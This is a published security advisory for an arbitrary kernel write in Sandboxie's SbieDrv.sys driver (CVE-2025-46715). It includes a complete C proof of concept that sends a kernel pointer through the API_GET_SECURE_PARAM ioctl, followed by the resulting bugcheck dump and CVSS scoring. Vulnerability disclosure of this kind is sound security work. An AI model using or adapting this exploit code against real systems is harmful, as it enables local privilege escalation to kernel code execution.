Skip to content

Arbitrary Kernel Write in SbieDrv.sys API (API_GET_SECURE_PARAM)

High
DavidXanatos published GHSA-67p9-6h73-ff7x May 22, 2025

Package

No package listed

Affected versions

>= 1.3.0

Patched versions

1.15.12

Description

Summary

API_GET_SECURE_PARAM fails to validate that a pointer passed is safe to write to.

Details

Api_GetSecureParam fails to sanitize incoming pointers, and implicitly trusts that the pointer the user has passed in is safe to write to. GetRegValue then writes the contents of the SBIE registry entry selected to this address. We can simply pass in a kernel pointer and the driver will happily dump the registry key contents we requested to it.

This can be triggered by anyone on the system (except sandboxed processes perhaps?), including low integrity windows processes.

All incoming data needs to be sanitized.

PoC

Compile and run as admin. I can provide a binary if needed. Change addr_to_write to any valid kernel address if you'd like to run this without admin. (i.e. you'd need some form of a kernel address leak).

With the default PoC, you'll get ATTEMPTED_WRITE_TO_READONLY_MEMORY.

Contents of the write can be controlled via simply editing the HKLM/Security/SBIE registry as admin else Api_SetSecureParam can be used to the same effect. Api_SetSecureParam checks that the caller is signed, but I believe this check can be bypassed with some creativity. Need to look more at that in a bit.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#include <psapi.h>
#include <tchar.h>

#define API_DEVICE_NAME         L"\\Device\\SandboxieDriverApi"
#define API_SBIEDRV_CTLCODE     0x222007
#define API_GET_SECURE_PARAM    0x12340047L
#define API_NUM_ARGS            8

typedef struct _API_SECURE_PARAM_ARGS {
    ULONG64 func_code;
    struct { ULONG64 val; } param_name;
    struct { ULONG64 val; } param_data;
    struct { ULONG64 val; } param_size;
    struct { ULONG64 val; } param_size_out;
    struct { ULONG64 val; } param_verify;
} API_SECURE_PARAM_ARGS;

typedef NTSTATUS(NTAPI* PFN_NtOpenFile)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PIO_STATUS_BLOCK,
    ULONG, ULONG);

typedef NTSTATUS(NTAPI* PFN_NtDeviceIoControlFile)(
    HANDLE, HANDLE, PIO_APC_ROUTINE, PVOID, PIO_STATUS_BLOCK,
    ULONG, PVOID, ULONG, PVOID, ULONG);

typedef VOID(WINAPI* PFN_RtlInitUnicodeString)(PUNICODE_STRING, PCWSTR);

void hexdump(const void* data, size_t size) {
    const unsigned char* p = (const unsigned char*)data;
    for (size_t i = 0; i < size; i += 16) {
        printf("%08zx  ", i);
        for (size_t j = 0; j < 16; ++j)
            if (i + j < size) printf("%02x ", p[i + j]);
            else printf("   ");
        printf(" ");
        for (size_t j = 0; j < 16; ++j)
            if (i + j < size) {
                unsigned char c = p[i + j];
                printf("%c", (c >= 32 && c <= 126) ? c : '.');
            }
        printf("\n");
    }
}

void* GetSandboxieBaseAddr(void) {
    LPVOID drivers[1024];
    DWORD cbNeeded;
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded >= sizeof(LPVOID)) {
        DWORD numDrivers = cbNeeded / sizeof(LPVOID);
        TCHAR driverName[MAX_PATH];
        for (DWORD i = 0; i < numDrivers; i++) {
            if (GetDeviceDriverBaseName(drivers[i], driverName, MAX_PATH)) {
                if (_tcsicmp(driverName, TEXT("SbieDrv.sys")) == 0)
                    return drivers[i];
            }
        }
    }
    return NULL;
}

NTSTATUS ApiGetSecureParam(
    PFN_NtDeviceIoControlFile NtDeviceIoControlFile,
    HANDLE hDevice,
    const WCHAR* param_name,
    void* param_data,
    ULONG param_size,
    ULONG* param_size_out,
    BOOLEAN param_verify
) {
    ULONG64 parms[API_NUM_ARGS] = { 0 };
    API_SECURE_PARAM_ARGS* args = (API_SECURE_PARAM_ARGS*)parms;
    IO_STATUS_BLOCK ioStatus = { 0 };

    args->func_code = API_GET_SECURE_PARAM;
    args->param_name.val = (ULONG64)(ULONG_PTR)param_name;
    args->param_data.val = (ULONG64)(ULONG_PTR)param_data;
    args->param_size.val = (ULONG64)param_size;
    args->param_size_out.val = (ULONG64)(ULONG_PTR)param_size_out;
    args->param_verify.val = (ULONG64)param_verify;

    return NtDeviceIoControlFile(
        hDevice, NULL, NULL, NULL, &ioStatus,
        API_SBIEDRV_CTLCODE, parms, sizeof(parms), NULL, 0);
}

int main(void) {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    if (!ntdll) {
        printf("Failed to get ntdll handle\n");
        return 1;
    }

    PFN_NtOpenFile NtOpenFile = (PFN_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile");
    PFN_NtDeviceIoControlFile NtDeviceIoControlFile = (PFN_NtDeviceIoControlFile)GetProcAddress(ntdll, "NtDeviceIoControlFile");
    PFN_RtlInitUnicodeString RtlInitUnicodeString = (PFN_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString");

    if (!NtOpenFile || !NtDeviceIoControlFile || !RtlInitUnicodeString) {
        printf("Failed to resolve NT native APIs\n");
        return 1;
    }

    UNICODE_STRING uni;
    RtlInitUnicodeString(&uni, API_DEVICE_NAME);

    OBJECT_ATTRIBUTES objAttrs;
    InitializeObjectAttributes(&objAttrs, &uni, OBJ_CASE_INSENSITIVE, NULL, NULL);

    IO_STATUS_BLOCK ioStatus = { 0 };
    HANDLE hDevice = NULL;

    NTSTATUS status = NtOpenFile(
        &hDevice,
        FILE_GENERIC_READ | FILE_GENERIC_WRITE,
        &objAttrs,
        &ioStatus,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        0);

    if (status != 0 || hDevice == NULL) {
        printf("NtOpenFile failed: 0x%08X\n", status);
        return 1;
    }

    // Get Sandboxie driver base address
    void* addr_to_write = GetSandboxieBaseAddr();
    printf("Base addr is %p\n", addr_to_write);

    // Query secure param
    WCHAR param_name[] = L"RandID";
    BYTE param_data[64] = { 0 };
    ULONG param_size = sizeof(param_data);
    ULONG param_size_out = param_size;
    BOOLEAN param_verify = FALSE;

    status = ApiGetSecureParam(
        NtDeviceIoControlFile, hDevice,
        param_name, addr_to_write, param_size, &param_size_out, param_verify);

    if (status != 0) {
        printf("ApiGetSecureParam failed: 0x%08X\n", status);
    }
    else {
        printf("ApiGetSecureParam succeeded, param_size_out=%lu\n", param_size_out);
        hexdump(param_data, param_size_out);
    }

    CloseHandle(hDevice);
    return 0;
}
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

ATTEMPTED_WRITE_TO_READONLY_MEMORY (be)
An attempt was made to write to readonly memory.  The guilty driver is on the
stack trace (and is typically the current instruction pointer).
When possible, the guilty driver's name (Unicode string) is printed on
the BugCheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: fffff8061be90000, Virtual address for the attempted write.
Arg2: 890000015bcfd121, PTE contents.
Arg3: fffff50d9d7fe530, (reserved)
Arg4: 000000000000000b, (reserved)

Debugging Details:
------------------


KEY_VALUES_STRING: 1

    Key  : Analysis.CPU.mSec
    Value: 781

    Key  : Analysis.Elapsed.mSec
    Value: 804

    Key  : Analysis.IO.Other.Mb
    Value: 0

    Key  : Analysis.IO.Read.Mb
    Value: 1

    Key  : Analysis.IO.Write.Mb
    Value: 12

    Key  : Analysis.Init.CPU.mSec
    Value: 296

    Key  : Analysis.Init.Elapsed.mSec
    Value: 2819

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 86

    Key  : Analysis.Version.DbgEng
    Value: 10.0.27793.1000

    Key  : Analysis.Version.Description
    Value: 10.2410.02.02 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2410.2.2

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0xbe

    Key  : Bugcheck.Code.TargetModel
    Value: 0xbe

    Key  : Failure.Bucket
    Value: AV_SbieDrv!unknown_function

    Key  : Failure.Hash
    Value: {a446aef4-b966-7073-3bed-f00247e130d7}

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x6090ebf4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 1

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 0

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 1

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 659693

    Key  : Hypervisor.Flags.ValueHex
    Value: 0xa10ed

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 1

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1


BUGCHECK_CODE:  be

BUGCHECK_P1: fffff8061be90000

BUGCHECK_P2: 890000015bcfd121

BUGCHECK_P3: fffff50d9d7fe530

BUGCHECK_P4: b

FILE_IN_CAB:  041725-2953-01.dmp

VIRTUAL_MACHINE:  HyperV

FAULTING_THREAD:  ffff9289d148e0c0

BLACKBOXBSD: 1 (!blackboxbsd)


BLACKBOXNTFS: 1 (!blackboxntfs)


BLACKBOXPNP: 1 (!blackboxpnp)


BLACKBOXWINLOGON: 1

CUSTOMER_CRASH_COUNT:  1

PROCESS_NAME:  SandboxieVulns.exe

TRAP_FRAME:  fffff50d9d7fe530 -- (.trap 0xfffff50d9d7fe530)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff8061be90000 rbx=0000000000000000 rcx=fffff8061be90000
rdx=2213a757cdcb5e91 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8061beba497 rsp=fffff50d9d7fe6c8 rbp=fffff50d9d7ff4e0
 r8=0000000000000008  r9=fffff80686a32530 r10=fffff8068702c4c0
r11=2213a757cdcb5e91 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei ng nz na pe cy
SbieDrv+0x2a497:
fffff806`1beba497 4c8919          mov     qword ptr [rcx],r11 ds:fffff806`1be90000=0000000300905a4d
Resetting default scope

STACK_TEXT:  
fffff50d`9d7fe2c8 fffff806`86472e65     : 00000000`000000be fffff806`1be90000 89000001`5bcfd121 fffff50d`9d7fe530 : nt!KeBugCheckEx
fffff50d`9d7fe2d0 fffff806`864913cf     : fffff806`1be90000 00000000`00001000 00000000`00000002 fffff806`86200000 : nt!MiSystemFault+0x249
fffff50d`9d7fe3c0 fffff806`8688aacb     : ffff9289`d3a35d90 ffff9289`d3a35dc0 ffff9289`cb70c6c8 fffff806`86689e1a : nt!MmAccessFault+0x2ff
fffff50d`9d7fe530 fffff806`1beba497     : fffff806`1beb43a1 00000000`00000002 00000000`00000000 00000000`00000000 : nt!KiPageFault+0x38b
fffff50d`9d7fe6c8 fffff806`1beb43a1     : 00000000`00000002 00000000`00000000 00000000`00000000 ffff9289`cb70c6c8 : SbieDrv+0x2a497
fffff50d`9d7fe6d0 00000000`00000002     : 00000000`00000000 00000000`00000000 ffff9289`cb70c6c8 ffff9289`00000810 : SbieDrv+0x243a1
fffff50d`9d7fe6d8 00000000`00000000     : 00000000`00000000 ffff9289`cb70c6c8 ffff9289`00000810 fffff50d`9d7fefa0 : 0x2


SYMBOL_NAME:  SbieDrv+2a497

MODULE_NAME: SbieDrv

IMAGE_NAME:  SbieDrv.sys

STACK_COMMAND:  .process /r /p 0xffff9289d2b91080; .thread 0xffff9289d148e0c0 ; kb

BUCKET_ID_FUNC_OFFSET:  2a497

FAILURE_BUCKET_ID:  AV_SbieDrv!unknown_function

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

OSPLATFORM_TYPE:  x64

OSNAME:  Windows 10

FAILURE_ID_HASH:  {a446aef4-b966-7073-3bed-f00247e130d7}

Followup:     MachineOwner
---------

Impact

Arbitrary kernel code execution.

Thank you. I have several more of these to file, give me a few.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2025-46715

Weaknesses

No CWEs

Credits